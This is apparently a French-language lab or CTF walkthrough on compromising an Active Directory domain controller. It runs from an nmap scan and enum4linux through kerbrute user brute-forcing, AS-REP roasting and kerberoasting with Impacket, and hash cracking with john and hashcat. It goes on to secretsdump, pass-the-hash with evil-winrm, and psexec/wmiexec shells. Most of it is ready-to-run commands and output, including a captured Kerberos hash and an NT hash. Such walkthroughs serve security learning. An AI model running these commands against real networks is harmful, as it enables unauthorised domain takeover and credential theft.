Il est possible de prendre possession d’un ActiveDiectory si nous réussissons à cracker le mot de passe de l’administrateur.
On commence par énumérer les services présents sur le AD
r0cker@kali:~$ sudo nmap -p- -A -nP 10.10.74.213
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-28 07:17 EDT
Nmap scan report for 10.10.74.213
Host is up (0.086s latency).
Not shown: 65509 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-06-28 11:25:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: searchevolution.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: searchevolution.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: GM-AD
| NetBIOS_Domain_Name: GM-AD
| NetBIOS_Computer_Name: R0CKERACTIVEDI
| DNS_Domain_Name: searchevolution.local
| DNS_Computer_Name: r0ckerAD.searchevolution.local
| Product_Version: 10.0.17763
|_ System_Time: 2021-06-28T11:26:43+00:00
| ssl-cert: Subject: commonName=r0ckerAD.searchevolution.local
| Not valid before: 2021-06-27T11:17:22
|_Not valid after: 2021-12-27T11:17:22
|_ssl-date: 2021-06-28T11:26:52+00:00; +1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=6/28%OT=53%CT=1%CU=30229%PV=Y%DS=2%DC=T%G=Y%TM=60D9B1F
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=
OS:U)OPS(O1=M505NW8NNS%O2=M505NW8NNS%O3=M505NW8%O4=M505NW8NNS%O5=M505NW8NNS
OS:%O6=M505NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%
OS:DF=Y%T=80%W=FFFF%O=M505NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S
OS:=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=
OS:Z)
Network Distance: 2 hops
Service Info: Host: R0CKERACTIVEDI; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 1s, median: 0s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-06-28T11:26:47
|_ start_date: N/A
TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 85.42 ms 10.9.0.1
2 85.51 ms 10.10.74.213
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 535.97 seconds
Nous pouvons à présent mettre le DNS_Domain_name du service 3389 dans notre fichier hosts, ce qui nous simplifiera la vie par la suite
echo "10.9.0.15 searchevolution.local" >> /etc/hosts
Nous pouvons par la suite poursuivre l’énumération avec l’outil enum4linux
enum4linux -a searchevolution.local
Si l’outil ne retrouve pas de noms d’usagers et/ou des mots de passe, nous pouvons continuer avec kerbrute. Il permet d’avoir des noms d’usager avec la force brute. Je vous recommande de télécharger un dictionnaire d’usagers avant de commencer.
kerbrute userenum -d searchevolution.local --dc searchevolution.local userlist.txt -t 100
rpcclient -U "" searchevolution.local #deuxième méthode
ldapsearch -x -h searchevolution.local -b base namingcontext #troisième méthode
impacket-lookupsid searchevolution.local/guest@10.10.10.10
Nous pouvons maintenant obtenir les kerberos ticket avec l’outil GetNPUsers.py des Impacket et tenter de les décrypter. Ici svc-admin a été retrouvé avec l’outil kerbrute. Il est évident que c’est un compte privilégié.
python3 GetNPUsers.py searchevolution.local/svc-admin -no-pass
Nous obtenons un TGT du style $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:d384fde3298ef72af4c964868f9d6726$c6bd6f49d0b6510241140beb03a879838d5324b2840c7287e5e6cf1a8085b22bd22ff4263346d3f0da20f791f4d04257976105c906389c9646f23616914ee2e00b635c87cc3082cd32306e27928812fa903537139242c4965b9ddea249b47546c02683a89db77089404e648e6c110b6aa7d37810848daf24e3bf3559fe8436cbbacdd4882a070e98a74b7feca348e23b4303a06d5f3c139e86a5d3a46b65c83efe4f6e077d9045d1b52fa5825bc2402e2da8525d072055b58977fd598edb57b426af4b6cb99b75303ac9eb7dee7119470b29ca9e9f1b0a4810800b94f730f6ef2c06d82e9d616aa5f0088bc5b3f326f7ffff que nous écrivons dans un fichier “hash”.
Nous pouvons par la suite tenter de cracker ce fichier avec john .Pour votre information, avec hashchat le mode est “18200” Kerberos 5, etype 23, AS-REP.
john hash --wordlist=/usr/share/wordlists/rockyou.txt
code>
Nous aurions aussi pu aussi cracker le mot de passe de svc-admin en mettant la sortie de kerbrute dans un fichier ntlm_hash.txt
<code>
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt
Nous aurions pu faire du kerberoasting si nous avions déjà un usager.
python3 GetUserSPNs.py 'searchevolution.local/r0cker:mypassword' -outputfile hashes.kerberoast -dc-ip 10.10.253.123
hashcat.exe -m 13100 hashes.kerberoast rockyou.txt
Nous pouvons maintenant nous connecter avec smbclient pour avoir accèes à certains partages puisque nous avons le mot de passe.
Si nous réussissons à obtenir le mot de passe de l’utilisateur “backup” , nous pourrons avoir une copie des hashes des usagers et pratiquer une attaque du style pass the hash.
python3 secretsdump.py -just-dc backup@searchevolution.local #il faut indiquer le mot de passe ici
Nous pouvons énumérer les shares que nous avons accès avec un usager
crackmapexec smb 10.10.111.177 -u r0cker -p "gfdjskgh" -M spider_plus #regarder le fichier dans le OUTPUT
Nous pouvons aussi utiliser l’outil evil-winrm pour faire une attaque du style pass the hash si nous avons obtenu le dump avec secretsdump.py (partie nthash du dump)
evil-winrm -i searchevolution.local -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
D’autres possibilités pour obtenir un shell adminstrateur
psexec.py r0cker:gfdjskgh@10.10.111.177 #alternative
impacket-wmiexec searchevolution.local/r0cker@10.10.111.77 #alternative